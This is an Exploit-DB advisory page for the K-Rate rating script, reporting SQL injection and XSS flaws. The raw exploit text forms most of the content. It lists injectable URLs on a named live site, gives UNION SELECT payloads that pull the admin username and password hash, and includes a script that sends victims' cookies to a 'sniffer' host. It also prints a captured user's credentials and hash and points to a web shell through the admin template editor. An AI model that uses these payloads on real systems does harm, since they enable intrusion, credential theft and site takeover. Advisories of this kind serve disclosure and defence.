K-Rate SQL-INJECTION, XSS

vendor:

K-Rate

by:

Unknown

5.5

CVSS

MEDIUM

SQL-injection, XSS

89, 79

CWE

Product Name: K-Rate

Affected Version From: All

Affected Version To: All

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2008

The K-Rate application is vulnerable to SQL-injection and both active and passive XSS attacks. The SQL-injection vulnerability is present in the 'dele_cpac.php', 'payment_received.php', 'functions.php', and 'chat.php' files. The XSS vulnerability can be exploited through various URLs, as mentioned in the text.

Mitigation:

To mitigate the SQL-injection vulnerability, proper input validation and parameterized queries should be implemented. To mitigate the XSS vulnerability, input sanitization and output encoding should be applied.

Source

Exploit-DB raw data:

================================================================================
|| K-Rate SQL-INJECTION, XSS                          
================================================================================

Application: K-Rate
------------

Website: http://turn-k.net/k-rate
--------

Demo: http://kratedemo.com
-----

Version: All
--------

About: K-Rate picture rating script. Price 115$.
------

Googledork: Powered by K-Rate
-----------

Date: 01-07-2008
-----

Description:
------------

1) SQL-injection
2) Active XSS
3) Passive XSS


[ SOME VULNERABLE CODE ]


[ admin/includes/dele_cpac.php ] 

$result = mysql_query("SELECT * FROM $admtable WHERE a_id=$id") or die (mysql_error());


[payments/payment_received.php]

$res = mysql_query("SELECT * FROM $paytable WHERE p_id=$ord[order_id]") or die(mysql_error());


[includes/functions.php]

function id_to_url($id) {
        global $linktable;
        $result = mysql_query("SELECT l_url FROM $linktable WHERE l_id=$id") or die(mysql_error());
	 ...

if (mysql_affected_rows() == 0) {
$r = mysql_query("SELECT l_cat FROM $linktable WHERE l_id=$id");


[modules/chat.php]

if ($act == 'users') {
$res = sql_query("SELECT * FROM $chatonlinetable LEFT JOIN $membtable ON $membtable.m_id=$chatonlinetable.co_user WHERE co_room=$room ORDER BY co_user ASC");


[ SQL-INJECTION ]

*) http://host/index.php?req=online&show=1[SQL]
*) http://host/room/1[SQL]
*) http://raterally.com/index.php?req=view&user=somegirl&id=2[SQL]&act=vote&image=3&voter=12&vote=3
*) http://raterally.com/index.php?req=view&user=somegirl&id=2&act=vote&image=3[SQL]&voter=12&vote=3
*) http://raterally.com/blog/somegirl[SQL]
*) http://raterally.com/index.php?req=blog_edit&id=1[SQL]

and other other other...

===>>> Exploit:

Must be authenticated as a regular user.

http://host/index.php?req=blog_edit&id=-1 union select 1,2,version(),4,5,6/*

http://host/room/-1 union select 1,version(),3,4/*

http://host/index.php?req=blog_edit&id=-1 union select 1,2,adm_user,4,5,6 from rate_admins where adm_id=1/* 

http://host/index.php?req=blog_edit&id=-1 union select 1,2,adm_pass,4,5,6 from rate_admins where adm_id=1/*   

/* Admin Login -  http://host/admin 

Manage Templates => web-shell */

[ ACTIVE XSS ]

*) in blog
*) in gallery
*) in forum

===>>> Exploit:

<script>img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie;</script>

In sniff-log: 
YToyOntzOjQ6InVzZXIiO3M6NjoiY29yd2luIjtzOjQ6InBhc3MiO3M6MzI6IjFlOGVjNTkzMGE4ODk5MmU4MDJjZDFiYWU2YzA1OWNmIjt9

Decode:

<?php
echo base64_decode("YToyOntzOjQ6InVzZXIiO3M6NjoiY29yd2luIjtzOjQ6InBhc3MiO3M6MzI6IjFlOGVjNTkzMGE4ODk5MmU4MDJjZDFiYWU2YzA1OWNmIjt9=");
?>

Login and password (MD5):

a:2:{s:4:\"user\";s:6:\"corwin\";s:4:\"pass\";s:32:\"1e8ec5930a88992e802cd1bae6c059cf\";}

[ PASSIVE XSS  :)  ]

http://host/index.php?req=view&user=somegirl&id=2&act=vote&image=3&voter=12&vote=3[XSS]

and other other bugz ...


Author: Corwin
-------                                     
	
Contact: corwin88[dog]mail[dot]ru
--------

# milw0rm.com [2008-08-26]